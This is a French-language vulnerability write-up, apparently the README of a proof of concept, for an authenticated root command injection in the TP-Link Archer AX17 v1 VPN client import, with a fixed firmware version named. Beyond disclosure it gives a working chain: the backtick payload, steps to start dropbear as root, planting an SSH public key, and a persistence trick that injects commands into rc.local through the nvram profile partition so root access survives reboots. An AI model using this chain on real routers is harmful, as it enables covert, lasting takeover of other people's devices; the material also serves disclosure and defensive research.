
Injection de commande OS authentifiée dans l'import du client VPN du TP-Link Archer AX17 v1.
Injection de commandes OS authentifiée dans l'import du client VPN de l'Archer AX17 v1.
Un administrateur sur le LAN importe un profil client OpenVPN. La description du profil est stockée comme nom de fichier /etc/openvpn/<des>.ovpn. La lecture de ce profil écrit le chemin dans /tmp/ovpn_curr_edit. La prochaine écriture VPN, sans aucun téléversement préparé, transmet ce chemin sans guillemets à grep et sed, que le serveur web exécute en tant que root.
Le filtre de description rejette /, ;, | et les espaces, et limite la chaîne à 64 caractères. Les backticks passent, donc la charge utile est S`sleep${IFS}1`. ${IFS} est la façon dont la commande obtient son espace.
| Affecté | Archer AX17 v1, firmware 1.1.28 P1 [20250523-rel65103], et les versions antérieures au correctif |
| Corrigé | 1.5.0 Build 20260605 |
| Accès | Session administrateur sur le LAN. Non accessible avant connexion. |
| Impact | Exécution de commandes en root |
poc.js.await poc(0), puis await poc(1).poc(0) retourne en quelques centaines de millisecondes. poc(1) prend environ une seconde de plus. Cet écart correspond à sleep 1 s'exécutant en root. Le script supprime le profil qu'il a créé.
Testé sur 1.1.28. poc(1) a pris 1238 ms, poc(3) 3504 ms, poc(7) 7204 ms, contre un témoin à 324 ms.
L'injection s'exécute en root, elle peut donc démarrer dropbear. Deux choses comptent pour cette version :
-L (« Enable SSH session login ») est requis. Sans cela, dropbear authentifie puis répond à chaque demande de shell par exec request failed./etc est un ramfs. rc.local, /etc/shadow et /etc/dropbear/authorized_keys sont reconstruits depuis le squashfs à chaque démarrage. Seules les partitions nvram persistent.Cela se divise en une méthode temporaire et une méthode permanente.
ssh-temp.js contient deux appels :
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() démarre dropbear en mode compte web. Connectez-vous avec le mot de passe administrateur du routeur :
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
Ce shell a l'uid 1000 (admin), pas root, et ne peut pas écrire dans /etc. Pour élever les privilèges, déposez ssh-root.sh dans /tmp/r par-dessus :
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
Appelez ensuite runStaged('r') depuis la console. L'injection exécute le script avec l'uid 0, écrit /etc/dropbear/authorized_keys et démarre dropbear -L -p 2227. (runStaged construit /tmp/<name> à partir de ${PWD%www} car le répertoire de travail du backend web est /www.) Connectez-vous :
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
Cela persiste jusqu'au prochain redémarrage.
Exécutez ssh-persist.sh en root (par exemple via le shell root temporaire). Il ajoute un rc.local à la partition nvram profile. S10boot restaure cette partition dans /etc avant que S95done n'exécute /etc/rc.local, de sorte que les commandes s'exécutent à chaque démarrage.
La partition est un XML uci chiffré, orienté ligne. <dir> crée /etc/<dir>, <file> crée /etc/<dir>/<file>, et un nom de balise est écrit tel quel après option . Une balise commençant par ; se retrouve donc dans rc.local sous la forme
option ;<command> # 'x'
ce qui exécute <command> en root. Le script préserve le bloc profile.d du fournisseur et écrit :
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
Après un redémarrage, le SSH root est sur le port 22 avec la même clé. Sauvegardez d'abord la partition ; le script affiche le chemin de sauvegarde et la commande de restauration.
Remarque : chpasswd n'existe pas sur ce firmware. N'essayez pas de définir un mot de passe root avec ; utilisez authorized_keys (comme ci-dessus) ou passwd.